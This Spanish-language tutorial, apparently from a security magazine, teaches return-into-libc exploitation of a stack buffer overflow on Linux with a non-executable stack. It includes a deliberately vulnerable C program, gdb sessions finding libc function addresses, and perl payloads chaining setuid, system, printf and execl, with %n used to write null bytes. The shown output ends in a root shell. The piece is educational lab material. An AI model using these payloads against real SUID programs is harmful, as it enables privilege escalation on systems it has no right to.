Avanzando un poco, Buffer Overflow con pila no ejecutable: Return into libc

Ampliación del artículo sobre Stack-Based Buffer Overflow, by TuXeD

Hola de nuevo ;-). Vimos en la revista número 27 qué son los desbordamientos de buffer, y cómo podíamos aprovecharnos de ellos. En especial vimos cómo hacerlo cuando el buffer overflow se producía en la pila, es decir, cuando el buffer *propenso* al desbordamiento era una variable local de cualquiera de las funciones del programa. Los métodos que aprendimos se basaban en situar un código máquina (*shellcode*) en la pila del programa, bien sea dentro del propio buffer, bien sea en variables de entorno, y luego ejecutar dicho código sobreescribiendo la dirección de retorno almacenada en la pila.

Supongo que recordarás que al final del artículo se habló un poco sobre posibles soluciones que podíamos aplicar a nuestros programas/sistemas para resolver este tipo de vulnerabilidades. Vimos que existen distintos parches aplicables al kernel de nuestro GNU/Linux que nos brindan cierta protección ante este tipo de ataques, mediante varios métodos. Una posibilidad es variar las direcciones de memoria donde se alojan las variables en cada ejecución del programa, con lo que nos sería bastante difícil poder *saltar* a nuestra shellcode para conseguir nuestro cometido. Otra forma, era hacer la pila del sistema no ejecutable. Puesto que los programas no necesitan tener código ejecutable en ella, ¿qué necesidad hay de que se pueda ejecutar lo que se almacena en la pila? Ninguna, efectivamente ;-)

Si marcamos la pila como zona de memoria no ejecutable, cualquier intento de ejecutar código allí localizado fallará, y por tanto, los métodos clásicos de explotación de un desbordamiento de buffer quedan inservibles. Así, tenemos que echar mano de otras técnicas un poco más complicadas, que nos permitirán conseguir acceso al sistema :-)

Libc, ¿Qué es eso?

Llamamos con libc a la librería estándar de nuestro sistema operativo, que nos provee de funciones como printf, system, las llamadas al sistema, etcétera. En el caso de los sistemas GNU/Linux, se usan las librerías GNU, concretamente ésta: http://www.gnu.org/software/libc/ . Como puedes ver, la librería libc nos provee de una gran cantidad de funciones para un gran número de usos. Sockets, IPC, manejo de procesos y distintos hilos de ejecución del programa...

Bien, ¿y qué pinta eso en los desbordamientos de buffer? Pues pinta, y mucho :-) Como hemos dicho, cuando nos encontramos ante un sistema con la pila no ejecutable, no podemos almacenar nuestro código en la pila para luego hacer saltar el flujo del programa atacado al principio de dicho código. Sin embargo, las funciones de la librería libc se encuentran en memoria, esperando a ser llamadas por los programas de los usuarios. Vamos a tratar de localizarlas y aprovecharnos de ellas para hacer que el programa atacado haga lo que nosotros queramos, dentro de las posibilidades que nos brinda libc, claro.

Veamos el siguiente programa que nos servirá de base para localizar las funciones alojadas en la librería libc:

Código libc.c:

```
#include <stdio.h>


int main(){
        system();
        return 0;
}
```

Compilaremos el código libc.c y lo ejecutaremos en nuestro depurador favorito, gdb, para tratar de localizar la dirección de la función system():

```
tuxed@zeus:/mnt/ext_disk/articulos/TuXeD/art1$ gcc libc.c -o libc -g

tuxed@zeus:~/Articulo1$ gdb libc

(gdb) break main
Breakpoint 1 at 0x8048394: file libc.c, line 4.
(gdb) run
Starting program: /home/tuxed/Articulo1/libc
Breakpoint 1, main () at libc.c:4
4               system();
(gdb)p system
$1 = {<text variable, no debug info>} 0x400618a0 <system>
(gdb)
```

En este caso, vemos que la llamada system está en la dirección de memoria *0x400618a0*, con lo que ya podemos utilizarla en nuestros ataques. Lo que tenemos que conseguir es redirigir la ejecución del programa vulnerable hacia la función system de libc. Esta función lo que hace es ejecutar el programa que se le pasa como argumento, con lo que si queremos una shell, podemos ejecutar system("/bin/sh") para conseguirla.

Para ello, debemos preparar los datos a introducir en nuestro buffer de una manera especial. Como ya dijimos, cuando llamamos a una función, se debe almacenar en la pila la dirección de retorno, pero también los argumentos de dicha función. Así, de acuerdo con lo que ya vimos, deberemos tener un buffer más o menos así:

Dir. Función	Dir. Retorno	Argumento 1	Argumento 2...

Por tanto, en nuestro caso, deberemos poner en primer lugar, *0x400618a0.*Seguidamente, pondremos la dirección de retorno. En realidad nos da igual, pues nuestro objetivo es simplemente obtener una shell, con lo que si se ejecuta la llamada a system(), la vuelta de esta función no nos importa demasiado... Pondermos cualquier cosa, por ejemplo HOLA. Justo detrás de nuestro 'HOLA', deberemos poner el argumento de system(), es decir, la cadena "/bin/sh". En realidad, la función recibe la dirección de memoria de la cadena, así que deberemos almacenarla en memoria. ¿Dónde? Pues en una variable de entorno, que ya sabemos como usar y como localizar su dirección en memoria :-).

Veamos pues como explotar un programa mediante esta técnica. Usaremos para ello el mismo código que empleamos en el artículo de la revista para la demostración del uso de las variables de entorno, bof2.c:

Código bof2.c

```
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]){
        char texto[10];
        int num;
        if(argc>1){
                strcpy(texto, argv[1]);
                num=strlen(texto);
                printf("Tu texto contiene %d caracteres\n",num);
                return 0;
        }
        return -1;
}
```

Además, deberemos usar el programa env.c, puesto que necesitaremos localizar la cadena “/bin/sh” para pasarsela a la función system(), como ya he dicho antes. Aunque deberíais tener el código ya en vuestro sistema si habéis leído el artículo de la revista, os lo dejo aquí:

Código env.c :

```
#include <stdio.h>

int main(int argc, char *argv[]){
        char *var;
        if(argc>1){
                var=getenv(argv[1]);
                printf("La variable %s está en la dirección %p \n", argv[1], var);
                return 0;
        }
        return -1;
}
```

Bien, vamos a recordar un poco... ¿Cuántos caracteres necesitábamos para modificar la dirección de retorno del programa bof2.c? ¿Cómo nos aprovechamos del desbordamiento en el artículo anterior? Voy a poneros un par de líneas de comandos para que lo recordéis un poco. Eso sí, no volveré a explicar como se logra llegar a ello:

```
tuxed@zeus:~/Articulo1$ ./bof2 `perl -e 'print "A"x32'`
Tu texto contiene 32 caracteres
Violación de segmento
tuxed@zeus:~/Articulo1$ cp env envi
tuxed@zeus:~/Articulo1$ ./envi SCODE
La variable SCODE está en la dirección 0xbffffb2a
tuxed@zeus:~/Articulo1$ ./bof2 `perl -e 'print "\x2a\xfb\xff\xbf"x8'`
Tu texto contiene 32 caracteres
sh-3.00$
```

Como se ve en los comandos anteriores, podemos desbordar el buffer con 32 caracteres. Podemos almacenar nuestra shellcode en una variable de entorno y ejecutarla desde allí... siempre que tengamos una pila ejecutable. Vamos a suponer a partir de ahora que no podemos ejecutar nada de la pila, así que debemos recurrir al uso de las funciones de libc. Veamos como ejecutar un system(“/bin/sh”):

En primer lugar, meteremos la cadena /bin/sh en la pila y obtenemos su dirección, así:

```
tuxed@zeus:~/Articulo1$ export SHELLC="/bin/sh";
tuxed@zeus:~/Articulo1$ ./envi SHELLC
La variable SHELLC está en la dirección 0xbffffb77
```

Ahora preparamos nuestro buffer y llamamos a nuestro programa. Como debemos sobreescribir la dirección de retorno con la dirección de la función system, pondremos 8 veces dicha dirección, después HOLA (o cualquier otra cadena de 4 caracteres) como dirección de retorno, y luego el argumento de system(), es decir, la dirección de la variable SHELL que acabamos de obtener:

```
tuxed@zeus:~/Articulo1$ ./bof2 `perl -e 'print "\xa0\x18\x06\x40"x8 . "HOLA\x77\xfb\xff\xbf"'`
Tu texto contiene 40 caracteres
sh-3.00$
```

Sí señor! Hemos obtenido una bonita shell :-). Ahora bien, no todo es tan bonito como parece. Las llamadas a system() se ejecutan mediante la shell /bin/sh, que elimina privilegios al programa a ejecutar. Osea,

que si usamos un programa con el bit SUID activado, y lo explotamos mediante esta técnica, no obtendremos una shell de root, sino de nuestro propio usuario... pero tranquilos, todo tiene solución ;-)

Veamos las posibles soluciones a este problema. Uno de los pensamientos que podemos tener, es hacer un programa simple en C que se encargue de llamar a setuid(0) para restaurar privilegios y ejecute una shell, y llamarlo desde el programa vulnerable mediante la técnica expuesta. Sin embargo, de momento sólo conocemos la llamada a system() para ejecutar programas, así que seguiría *rebajando* los privilegios, y en lugar de ser root, seguiríamos siendo el mismo usuario. Veámoslo:

Código wrap.c

```
#include <stdio.h>
int main(){
        setuid(0);
        setgid(0);
        system("/bin/sh");
}
```

Ahora compilemos y ejecutemos dicho archivo, exactamente igual que antes:

```
tuxed@zeus:~/Articulo1$ gcc wrap.c -o wrap; export WRAP="/home/tuxed/Articulo1/wrap";./envi WRAP
La variable WRAP está en la dirección 0xbfffff95
tuxed@zeus:~/Articulo1$ ./bof2 `perl -e 'print "\xa0\x18\x06\x40"x8 . "HOLA\x95\xff\xff\xbf"'`
Tu texto contiene 40 caracteres
sh-3.00$
```

Como se puede ver, no obtenemos la shell de root, puesto que seguimos ejecutando la shell mediante system(). Sin embargo, tenemos otras funciones para ejecutar programas, como execl. Miremos la página del manual de execl() para ver el prototipo de la función:

```
int execl(const char *path, const char *arg, ...);
```

Como vemos, necesita al menos 3 parámetros. El primero, es el programa a ejecutar. Después va la lista de argumentos (parámetros) del programa,empezando por su propio nombre, y terminada con un 0, tal y como nos indica su página del manual. Así, para ejecutar por ejemplo un *ls /etc/* deberíamos llamar a la función así:

```
execl("ls","ls","/etc/",0);
```

Por tanto, necesitamos que el último argumento sea una variable del tipo int (entero), con valor 0, es decir, cuatro bits nulos (0x00000000). Esto supone un problema, pues el primero de ellos será tratado como final de la cadena, y el resto no se copiarán, con lo que no podremos ejecutar nuestro querido */bin/sh* mediante execl, a no ser que tengamos algún método para escribir bits nulos en memoria (lo tendremos, en la siguiente sección ;-)).

Por otra parte, si recordamos un poco, tenemos una dirección de retorno que hemos sobreescrito con HOLA, pero... ¿Por qué no usarla para ejecutar otra cosa? ¿Y por qué no otra función de la librería libc? Pues bien, esto nos lleva a encadenar llamadas a funciones de la librería libc. Viendo el esquema que he puesto al principio, detrás de la dirección del programa va la dirección de retorno, y después los argumentos. Así, podríamos poner:

Dir. función 1	Dir. función 2	Arg. función 1	Arg.1 función 2	Arg.2 función 2	...

Como veis, solo he puesto un argumento para la función 1. Esto se debe a que si ponemos más

argumentos, a partir del segundo serán usados también por la llamada a la función 2, y esto probablemente no sea lo deseado. Así mismo, el argumento de la función 1 será usado como dirección de retorno de la función 2, así que esta vez no podremos poner nuestro HOLA :-D

Vamos a probar a encadenar setuid(0) con system("/bin/sh"). Veamos, necesitamos algo así:

Dirección setuid()	Dirección system()	Arg. setuid(): 0	Arg. system()

Como podéis ver, el problema de los bits nulos persiste, pues el uid de root es el 0, y como setuid espera un entero, deberíamos pasar 0x00000000, con lo que no funcionará. Como prueba, vamos a hacer lo mismo pero con uid 0x01020304, a ver si se pone el uid correspondiente. Primero necesitaremos encontrar la función setuid() y luego montar el buffer de la manera que ya conocemos. Usaré el programa wrap.c para encontrar la función setuid() en memoria:

tuxed@zeus:~/Articulo1$ gdb wrap
[...]
(gdb) break main
Breakpoint 1 at 0x8048404: file wrap.c, line 3.
(gdb) run
Starting program: /home/tuxed/Articulo1/wrap

Breakpoint 1, main () at wrap.c:3
3 setuid(0);
(gdb) p setuid
$1 = {<text variable, no debug info>} 0x400cd120 <setuid>
(gdb)quit
tuxed@zeus:~/Articulo1$ export SHELLC="/bin/sh";./envi SHELLC
La variable SHELLC está en la dirección 0xbffff6d
tuxed@zeus:~/Articulo1$ ./bof2 "`perl -e 'print "\x20\xd1\x0c\x40"x8 .
"\xa0\x18\x06\x40\x04\x03\x02\x01\x6d\xff\xff\xbf"'`"
Tu texto contiene 44 caracteres
sh-3.00$ id
uid=16909060 gid=1000(tuxed) grupos=4(adm),6(disk),24(cdrom),29(audio),1000(tuxed)
sh-3.00$

En la salida anterior, hay que tener en cuenta que bof2 tiene que ser propiedad de root y con el bit SUID activo, pues si no es así, no nos dejará ponernos el uid que queramos. En este caso, hemos puesto el 0x01020304, que es el 16909060 en decimal, y la salida del comando id nos ha confirmado que nuestra llamada ha tenido éxito :-)

Por otra parte, cabe comentar que he tenido que añadir unas dobles comillas encerrando el comando entre acentos graves, puesto que en la dirección de la función setuid() aparecía el carácter 0x20, que es el código ASCII del espacio, lo que provocaba que a partir del 0x20 se tomara como un argumento distinto, y no se producía el desbordamiento.

Para finalizar con nuestros ataques, sólo nos falta poder escribir bytes nulos, pues tenemos dos posibles formas de ejecutar nuestra shell de root, pero ambas necesitan el uso de varios bytes nulos para poder llevarse a cabo. Así pues, en lo que sigue vamos a ver como podemos hacerlo, pero antes necesito explicar un par de cosas :-)

Família de funciones printf: Cadenas de formato

Supongo que la mayoría de vosotros, viendo el código de los programas de ejemplo que he puesto a lo largo de éste y el anterior artículo, ya sabéis para qué sirve la función printf, o al menos lo podéis intuir. Como su nombre sugiere, sirve para imprimir por la salida estándar (en general, escribir líneas en la pantalla) los mensajes que deseemos, dándole un formato adecuado.

Además de printf, existen otras funciones con un funcionamiento similar, como sprintf, que en lugar de imprimir en la salida estándar, lo hace en una cadena pasada como argumento, o como fprintf, que hace lo mismo pero para archivos de texto.

Si ejecutamos *man 3 printf* en nuestro GNU/Linux, obtendremos la página del manual de esta familia de funciones. Veamos los prototipos de dichas funciones:

```
int printf(const char *format, ...);
int fprintf(FILE *stream, const char *format, ...);
int sprintf(char *str, const char *format, ...);
```

Vemos que en todas ellas aparece el parámetro *const char *format*. Éste parámetro es lo que llamamos cadena de formato, que se encarga de definir el formato de la salida de la función. Por ejemplo, podemos poner una cadena y que en un punto determinado se incluya el valor de una variable dada, como se hace en los códigos de ejemplo, pero eso no lo es todo, ni tampoco lo más interesante.

Así, si usamos el modificador %d o %i, estaremos mostrando un número entero, alojado en una variable pasada como parámetro a la función printf. Si usamos %s, se imprime una cadena, y si usamos %f, se imprime un número en coma flotante. Por ejemplo, podríamos tener el siguiente fragmento de código:

```
main(){

        int i=10;
        float coma=2.55;
        char cadena[]="Hola :-P";

        /* Un poco de código ... */

        printf("El valor de i es: %d\n coma=%f\ncadena: %s", i,coma,cadena);

        /* Más código...*/
```

La salida de la función printf sería:

```
El valor de i es: 10
coma=2.55
cadena: Hola :-P
```

Sin embargo, ya he dicho que éstos no son los únicos usos de las funciones de la familia de printf, sino que hay otros más interesantes para nuestros propósitos. El más interesante de ellos para lo que nos ocupa, es el modificador %n, que se encarga de escribir en la dirección de memoria (puntero) que se le pasa como parámetro el número de caracteres escritos por la función hasta ese punto. Por ejemplo, la siguiente llamada escribiría un 5 (el espacio también cuenta) en la variable i:

```
printf("Hola %n", &i);
```

Para el que no entienda el porqué de ese & ahí, no es momento de dar un curso de C aquí, así que me limitaré a decir que el & indica *la dirección de*, con lo que el parámetro que se le pasa a printf es la dirección de la variable i, y no el valor de la propia variable i.

Por otra parte, hay otro método de acceder a los argumentos de la función printf desde la cadena de formato, que nos será realmente útil. Este método lo que nos permite es especificar el argumento que queremos utilizar con cada modificador. Así, si en lugar de poner %n, ponemos %3$n, en lugar de escribir en el primer argumento, lo hará en el tercero. Por ejemplo, podríamos hacer lo siguiente:

printf("Hola %2$s %1$n", &i, cadena);

Con ello, conseguiríamos escribir en pantalla la palabra *Hola* seguida del contenido de la variable cadena, y escribir en la variable i el número de caracteres escritos por pantalla.

Con todo esto, y sabiendo que la función printf es parte de la librería libc, estamos en disposición de poder escribir los valores que deseemos allá donde deseemos ;-)

Escribiendo bytes nulos

Como habíamos visto antes, la función execl() precisaba de cuatro bytes nulos como último argumento. Por otra parte, sabemos que con printf y el modificador %n podemos escribir el número de bytes escritos en la posición de memoria que deseemos. Por tanto, si hacemos una llamada a printf que escriba los cuatros bytes nulos en la posición donde debe ir el último argumento de execl(), y luego lo enlazamos con la función execl, conseguiremos nada más y nada menos que ejecutar nuestra amada shell con privilegios de root.

Veamos... Para la ejecución de /bin/sh con execl, necesitamos hacer la siguiente llamada:

execl("/bin/sh","/bin/sh",0);

Por otro lado, para el printf, necesitaremos:

printf("%n",XXXX);

dónde XXXX es la dirección del cero. Por tanto, nuestro buffer debería quedar algo así:

Dir. printf()	Dir. execl()	Cadena Formato	Dir. "/bin/sh"	Dir. "/bin/sh"	YYYY

Siendo YYYY la dirección de memoria de esa misma celda, y la cadena de formato, a la vista de la tabla, %3$n. Así, conseguiremos que quede, tras la ejecución de printf, así:

Dir. printf()	Dir. execl()	Dir. "%3$n"	Dir. "/bin/sh"	Dir. "/bin/sh"	0x00000000

Así, después de la ejecución de printf que deja la memoria así, se ejecutará execl(), con lo que conseguiremos nuestra shell de root :-)

Intentaremos ahora explotar el fallo den el programa vulnerable bof2. En primer lugar, debemos localizar varias cosas en memoria: la función printf, la función execl, y la dirección de memoria donde debe ir el 0x00000000. Además, deberemos meter en la pila (como variables de entorno, tal y como veníamos haciendo) las cadenas "/bin/sh" y "%3$n". Para localizar la dirección del último argumento, podemos lanzar el programa vulnerable con gdb y buscar la dirección de la variable texto, y luego sumarle el tamaño de los datos que vamos a meter en el buffer, que son 28 bytes de basura, más 20 bytes de las respectivas direcciones de memoria que preceden a la del 0x00000000 en el buffer, es decir, 48 bytes, o en hexadecimal, 0x30.

Además, podemos suponer que la dirección de la variable variará dependiendo de la longitud del nombre del programa y del número de caracteres que le pasemos como argumento, pues todo ésto se guarda en la pila, así que deberemos lanzarlo con el mismo número de caracteres como parámetro, es decir, con 52 caracteres.

Localizamos el buffer:

tuxed@zeus:~/Articulo1$ gdb bof2
GNU gdb 6.3-debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-linux"...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) break 9
Breakpoint 1 at 0x8048421: file bof2.c, line 9.
(gdb) run `perl -e 'print "A"x52'`
Starting program: /home/tuxed/Articulo1/bof2 `perl -e 'print "A"x52'`

Breakpoint 1, main (argc=1094795585, argv=0x41414141) at bof2.c:9
9 num=strlen(texto);
(gdb) p &texto
$1 = (char (*)[10]) 0xbffff910
(gdb) exit
Undefined command: "exit". Try "help".
(gdb) quit
The program is running. Exit anyway? (y or n) y
tuxed@zeus:~/Articulo1$

Por tanto, debemos pasar como último argumento el valor 0xbffff940 (en little-endian, como siempre). Ahora, tras localizar printf (0x400706a0) y execl (0x400ccbb0) con el método ya conocido, metemos las cadenas en la pila, las localizamos, y explotamos nuestro programa:

tuxed@zeus:~/Articulo1$ export SH="/bin/sh"
tuxed@zeus:~/Articulo1$ export FORMATO="%3\$n"; echo $FORMATO
%3$n
tuxed@zeus:~/Articulo1$ ./envi SH
La variable SH está en la dirección 0xbffffee6
tuxed@zeus:~/Articulo1$ ./envi FORMATO
La variable FORMATO está en la dirección 0xbfffff47
tuxed@zeus:~/Articulo1$ ./bof2 `perl -e 'print "\xa0\x06\x07\x40"x8 . "\xb0\xcb\x0c\x40" . "\x47\xff\xff\xbf" . "\xe6\xfe\xff\xbf"x2 . "\x40\xf9\xff\xbf";'`
Tu texto contiene 52 caracteres
sh-3.00# whoami
root
sh-3.00#

Bien! Ya tenemos shell de root :-) Cabe destacar que además de la función printf para escribir un byte nulo, podemos usar sprintf para escribir en diferentes direcciones de memoria a la vez, o también funciones como strcpy para copiar bytes de un sitio a otro de la memoria. Como vimos antes, sprintf hace lo mismo que printf, pero metiendo el resultado en una cadena. Así, si hacemos una llamada similar a la siguiente:

sprintf(AAAA,"%nABCD", BBBB);

Lograremos poner *ABCD* en la dirección AAAA, y un 0x00000000 en la dirección BBBB. Así, podemos utilizar sprintf justo antes de las llamadas a setuid() y system() que hicimos antes, con los parámetros adecuados, y lograremos la shell de root.

Y esos *parámetros adecuados,* ¿cuales son? Tras recordar un poco lo que hablamos antes, sabemos que debería quedar, después del sprintf lo siguiente:

Dirección sprintf()	Dirección setuid()	Dirección system()	Arg. setuid(): 0	Arg. system()

Sin embargo, para ejecutar el sprintf, debemos tener:

Dirección sprintf()	Dirección setuid()	Dirección Destino	Cadena Formato	Dirección Propia

Así pues, debemos hacer que la función sprintf sustituya 'Dirección Destino' por la dirección de system(), y 'Cadena Formato' por 8 bytes nulos. Además, justo detrás de la cadena de formato debería ir la dirección de "/bin/sh" en la pila, para que system() pueda ejecutarse correctamente.

Por tanto, para lograr que escribir en destino la dirección de system(), y en la propia cadena de formato un entero con valor 0, la cadena de formato deberá ser %2$nXXXX (con XXXX = dirección de system), y el segundo parámetro de sprintf (situado detrás del argumento de system), deberá ser la dirección de la cadena de formato. De esta forma, el buffer quedará así:

Dir. sprintf()	Dir. setuid()	Dir. de aquí	%2$nXXXX	Dir. "/bin/sh"	Dir. Cadena

Con esto se conseguirá el efecto deseado una vez se ejecute la función sprintf, y obtendremos nuestra shell de root. Esta vez no voy a mostrar los comandos para hacerlo, os lo dejo como ejercicio :-P

Pues nada, por mi parte eso es todo de momento ;-) Espero que os haya gustado este artículo, y que esperéis con interés los siguientes :-)

TuXeD